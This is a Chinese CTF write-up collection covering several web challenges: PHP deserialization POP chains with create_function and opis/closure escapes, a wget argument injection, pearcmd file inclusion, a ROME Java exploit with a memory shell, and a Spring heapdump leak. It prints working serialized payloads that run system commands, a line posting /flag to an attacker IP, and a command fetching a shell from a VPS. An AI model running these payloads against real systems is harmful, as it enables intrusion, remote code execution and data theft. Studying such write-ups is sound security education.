wp合集
太久没跟新了 ，就一起发了 💨
# 0x01 DAS sept
# web
# hellounser
- 一道 php 反序列化的题目：
1 |
|
- 照常先来看入口点，在反序列化后立刻函数式调用了该对象，那么可以触发的就是
__invoke()函数。 __invoke()函数内部调用了同类中的show()函数，其中将变量$var作为字符串打印，那么可以触发__toString()函数。__toString()函数也调用了同类中的show()函数，包含了flag.php并且可以控制调用的函数名和第二个参数。
这里我们可以确定使用
create_funtion()逃逸，使用;};var_dump(get_defined_vars());//来逃逸出大括号。但是这分别对
func和arg做了过滤，那么我们分析如何绕过：preg_match('/^[a-z0-9]*$/isD', $this->func)，限制不能所有的字符都是字母或者数字，那么我们可以使用\create_function来绕过。而这个\代表该函数是全局空间下的名称。arg变量限制了很多系统命令和 php 函数，但是没有限制system()函数。过滤了引号，那么我们可以不用引号，只要命令中间没有空格（当然不加引号似乎只在 php5 生效，我用自己电脑上的 php8 是不能执行的）。
生成 payload：
1 |
|
1 | O%3A1%3A%22A%22%3A1%3A%7Bs%3A3%3A%22var%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A4%3A%22func%22%3Bs%3A16%3A%22%5Ccreate_function%22%3Bs%3A3%3A%22arg%22%3Bs%3A34%3A%22%3B%7D%3Bvar_dump%28get_defined_vars%28%29%29%3B%2F%2F%22%3B%7D%7D |
- 回显：
1 | array(2) { ["func"]=> string(16) "\create_function" ["FakeFlag"]=> string(33) "fl4g{TrueFlag_is_in_Tru3flag.php}" } |
- 那么我们就需要去查看 Tru3flag.php：
1 | public $arg = ';};system(ls);//'; |
- 回显：
1 | Tru3flag.php flag.php index.php |
- 单词命令是可以执行的，但是
cat Tru3flag.php肯定会存在空格，就算将其 base64 之类的也不行，用引号（这里不让）在本地也失败。所以我们只能再嵌套一层base64_decode()函数：
1 | public $arg = ';};system(base64_decode(Y2F0IFRydTNmbGFnLnBocDsg));//'; |
- 注意 base64 编码不能有等号，因为等号也被过滤了，我的方法也很简单，在后面加一个空格就可以了。
- 不过 base64 编码后触发了
nl（笑），这里我们用cat Tru*再编码：
1 | public $arg = ';};system(base64_decode(Y2F0IFRydSoK));//'; |
获得 flag：
当然也可以用取反绕过：
1 |
|
# xxc
- 打开网页提示
一条链子，使用 dirmap 扫描到网站源码 www.zip，进行代码审计。 - index.php 其中存在反序列化操作，这道题确定是一道序列化的题目：
1 |
|
我们先来学习一下
_loader()函数，这是一个自动加载函数，在 PHP5 中，当我们实例化一个未定义的类时，就会触发此函数。spl_autoload_register('loadprint')与__autoload()函数有异曲同工之妙，PHP 碰到没有定义的类就执行loadprint()函数。所以我们在
index.php中可以自由的实例化存在的类。由于是反序列化的题目，我们先来看看入口点__destruct()和__wakeup()函数是否存在：\Control\State\StopHook.php中发现了析构函数，调用了同类中的_exit()函数，其中$process->stop();可能会触发__call()函数，而!$process->isRunning可能会触发__get()函数：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
namespace Control\State;
class StopHook {
protected $output;
protected $config = ['auto' => 0];
protected static $states = ['started', 'running', 'finished', 'waiting', 'fail'];
protected $processes;
public function __destruct() {
$this->_exit();
}
private function _exit() {
foreach(array_reverse($this->processes) as $process) {
if (!$process->isRunning) {
continue;
}
$process->stop();
}
}
}- 在
\Faker\MyGenerator.php中找到这两个函数，__call()函数中echo $this->defaultCall;一句可能会触发__toString()函数：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
namespace Faker;
class MyGenerator {
protected $defaultValue;
public function __call($method, $arg_array) {
echo $this->defaultCall;
return $this->defaultCall;
}
public function __get($property) {
return $this->defaultValue;
}
}- 在
\Method\Func\GetFile.php找到__toString()函数，调用了同类中的getFiles()函数，发现函数的中调用了isset()函数，如果该类中不存在该属性，会触发__isset()函数：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
namespace Method\Func;
class GetFile {
private $flag = true;
private $files = [];
public function __toString() {
return $this->getFiles();
}
public function getFiles() {
if (!$this->flag) return "denied";
$s = "";
if (isset($this->flag->{$this->value})) {
return "test";
}
foreach ($this->files as $file) {
$s += $file->read();
}
return $s;
}
}- 在
Method\Func\GetDefault.php中找到__isset()函数，调用了同类中的popup()函数，其中return $s($length);可能会触发__invoke()函数：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
namespace Method\Func;
class GetDefault {
private $source;
public function popup($length) {
$s = $this->source;
if ($s->flag != "myTest") {
return "denied";
}
return $s($length);
}
public function __isset($property) {
if ($property != "test") {
return false;
}
return !$this->popup(666);
}
}- 最后在
\Method\Func\GenerateFile.php中找到__invoke()函数，且存在call_user_func()。没有想到在 php5 中是可以直接赋值在一个没有初始化的变量上的 2333。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
namespace Method\Func;
class GenerateFile {
public $flag;
protected $buffer;
public function __invoke($param) {
$this->myGen($param);
}
public function myGen($length) {
$s = $this->buffer->read;
call_user_func($this->source->generate, $length);
return $s;
}
}整个链子理清楚了，但是发现
call_user_func()的第二个参数被写死了，因为$this->popup(666);调用的时候将666传入了__invoke($param)，最后也就作为$length变量传入了myGen($length)函数。现在只能够调用类似
phpinfo()等不需要参数的程序，并不能够 rce，该怎么办呢？- 这时候我们注意到存在
function.php，发现这个 cms 是基于opis/closure搭建的，网址：https://github.com/opis/closure - 该项目是用来闭包类对象的，官方文档：https://opis.io/closure/3.x/serialize.html。php 中的闭包函数（仅对 php）即匿名函数，一般是无法进行序列化的，一般会报错：
1
2
3
$function = function(){ eval(system('ls')); };
echo serialize($function);1
Fatal error: Uncaught exception 'Exception' with message 'Serialization of 'Closure' is not allowed'
- 使用这个项目，可以将闭包包装成一个
Opis\Closure\SerializableClosure对象，然后使用标准的serialize()进行序列化。也可以使用Opis\Closure\serialize函数序列化任意对象。
1
2
3
4
5
require 'closure/autoload.php';
$function = function(){ eval(system('ls')); };
$a = new \Opis\Closure\SerializableClosure($function);
echo serialize($a);1
2
3
4
require 'closure/autoload.php';
$function = function(){ eval(system('ls')); };
echo \Opis\Closure\serialize($function);1
C:32:"Opis\Closure\SerializableClosure":156:{a:5:{s:3:"use";a:0:{}s:8:"function";s:33:"function(){ eval(\system('ls'));}";s:5:"scope";N;s:4:"this";N;s:4:"self";s:32:"0000000054d6224100000000237e90a4";}}
- 这时候我们注意到存在
那么我们可以将匿名函数通过
serialize()函数经过一次序列化和反序列化，这样他就能作为SerializableClosure对象被序列化。或者直接将generate变量赋值为SerializableClosure类。payload：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
namespace Control\State {
class StopHook {
protected $processes;
public function __construct() {
$this -> processes = array(new \Faker\MyGenerator());
}
}
require 'closure/autoload.php';
$payload = new StopHook();
echo base64_encode(serialize($payload));
}
namespace Faker {
class MyGenerator {
protected $defaultValue;
public function __construct() {
$this -> defaultValue = new \Method\Func\GetFile();
}
}
}
namespace Method\Func{
class GetFile {
private $flag;
public function __construct() {
$this -> flag = new \Method\Func\GetDefault();
$this -> value = 'test';
}
}
}
namespace Method\Func{
class GetDefault {
private $source;
public function __construct() {
$this -> source = new \Method\Func\GenerateFile();
$this -> source -> flag = 'myTest';
}
}
}
namespace Method\Func{
class GenerateFile {
public $flag;
protected $buffer;
public function __construct() {
$function = function(){ eval(system('ls /')); };
$this -> source -> generate = new \Opis\Closure\SerializableClosure($function);
}
}
}- 将 php 文件放在
/www文件夹下运行，得到序列化的结果（其实在 php5 中赋值一个对象在一个空变量中是会警告的HP Warning: Creating default object from empty value in /var/www/1.php on line 51，在 php8 中就直接报错了）：
1
TzoyMjoiQ29udHJvbFxTdGF0ZVxTdG9wSG9vayI6MTp7czoxMjoiACoAcHJvY2Vzc2VzIjthOjE6e2k6MDtPOjE3OiJGYWtlclxNeUdlbmVyYXRvciI6MTp7czoxNToiACoAZGVmYXVsdFZhbHVlIjtPOjE5OiJNZXRob2RcRnVuY1xHZXRGaWxlIjoyOntzOjI1OiIATWV0aG9kXEZ1bmNcR2V0RmlsZQBmbGFnIjtPOjIyOiJNZXRob2RcRnVuY1xHZXREZWZhdWx0IjoxOntzOjMwOiIATWV0aG9kXEZ1bmNcR2V0RGVmYXVsdABzb3VyY2UiO086MjQ6Ik1ldGhvZFxGdW5jXEdlbmVyYXRlRmlsZSI6Mzp7czo0OiJmbGFnIjtzOjY6Im15VGVzdCI7czo5OiIAKgBidWZmZXIiO047czo2OiJzb3VyY2UiO086ODoic3RkQ2xhc3MiOjE6e3M6ODoiZ2VuZXJhdGUiO0M6MzI6Ik9waXNcQ2xvc3VyZVxTZXJpYWxpemFibGVDbG9zdXJlIjoxODg6e2E6NTp7czozOiJ1c2UiO2E6MDp7fXM6ODoiZnVuY3Rpb24iO3M6MzU6ImZ1bmN0aW9uKCl7IGV2YWwoc3lzdGVtKCdscyAvJykpOyB9IjtzOjU6InNjb3BlIjtzOjI0OiJNZXRob2RcRnVuY1xHZW5lcmF0ZUZpbGUiO3M6NDoidGhpcyI7TjtzOjQ6InNlbGYiO3M6MzI6IjAwMDAwMDAwMmIzZjg4ZGMwMDAwMDAwMDE5NjUyZjhjIjt9fX19fXM6NToidmFsdWUiO3M6NDoidGVzdCI7fX19fQ==
- 将作为 post 参数 data 传递，获得回显：
1
bin dev etc f1@g.txt home lib media mnt opt proc root run sbin srv sys tmp usr var
- 修改
$function = function(){ eval(system('cat /fl@g.txt')); };，重新序列化：
1
TzoyMjoiQ29udHJvbFxTdGF0ZVxTdG9wSG9vayI6MTp7czoxMjoiACoAcHJvY2Vzc2VzIjthOjE6e2k6MDtPOjE3OiJGYWtlclxNeUdlbmVyYXRvciI6MTp7czoxNToiACoAZGVmYXVsdFZhbHVlIjtPOjE5OiJNZXRob2RcRnVuY1xHZXRGaWxlIjoyOntzOjI1OiIATWV0aG9kXEZ1bmNcR2V0RmlsZQBmbGFnIjtPOjIyOiJNZXRob2RcRnVuY1xHZXREZWZhdWx0IjoxOntzOjMwOiIATWV0aG9kXEZ1bmNcR2V0RGVmYXVsdABzb3VyY2UiO086MjQ6Ik1ldGhvZFxGdW5jXEdlbmVyYXRlRmlsZSI6Mzp7czo0OiJmbGFnIjtzOjY6Im15VGVzdCI7czo5OiIAKgBidWZmZXIiO047czo2OiJzb3VyY2UiO086ODoic3RkQ2xhc3MiOjE6e3M6ODoiZ2VuZXJhdGUiO0M6MzI6Ik9waXNcQ2xvc3VyZVxTZXJpYWxpemFibGVDbG9zdXJlIjoxOTc6e2E6NTp7czozOiJ1c2UiO2E6MDp7fXM6ODoiZnVuY3Rpb24iO3M6NDQ6ImZ1bmN0aW9uKCl7IGV2YWwoc3lzdGVtKCdjYXQgL2YxQGcudHh0JykpOyB9IjtzOjU6InNjb3BlIjtzOjI0OiJNZXRob2RcRnVuY1xHZW5lcmF0ZUZpbGUiO3M6NDoidGhpcyI7TjtzOjQ6InNlbGYiO3M6MzI6IjAwMDAwMDAwNzBkY2RiODIwMDAwMDAwMGFiNmZiZTVmIjt9fX19fXM6NToidmFsdWUiO3M6NDoidGVzdCI7fX19fQ==
获得 flag：
# 0x02 陇原战 "疫"
# WEB
# CheckIN
wget 参数注入
argv=1&argv=–post-file&argv=/flag&argv=IP
# eaaasyphp
反序列化。ftp 打 fpm，流量用 gopher 生成下就行
1 |
|
1 | import socket |
# EasyJaba
1 | 反序列化。不能有hashmap和BadAttributeValueExpException |
有 ROME 依赖。刚好需要一个 tostring。
自己加了个 tostring
题目不出网。考虑写内存马 + 命令执行回显
ROME exp
1 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; |
内存马：test.java
1 | import org.springframework.util.Base64Utils; |
命令执行回显的控制器。
1 | package com.lyzy.ctf.ezjaba.controller; |
# 0x03 湖湘杯
# web
# easywill
变量覆盖 任意文件包含
1 | ?name=cfile&value=/etc/passwd |
可以利用
1 | pearcmd.php&+download+VPS/shell.php |
可以参考 p 神 pearcmd 妙用
# Pentest in Autumn
java 一把梭
利用扫描工具 发现存在 java /actuator 路径泄露，确定为 Java 的 Spring 框架，直接访问 actuator/heapdump 文件无法访问，所以需要绕过，/;/actuator/heapdump
下载 /;/actuator/heapdump 导入分析工具
编写 python 脚本 生成密钥
1 | import base64 |
本博客所有文章除特别声明外，均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Cc's Blog！
wechat
alipay
相关推荐
评论
TwikooWaline
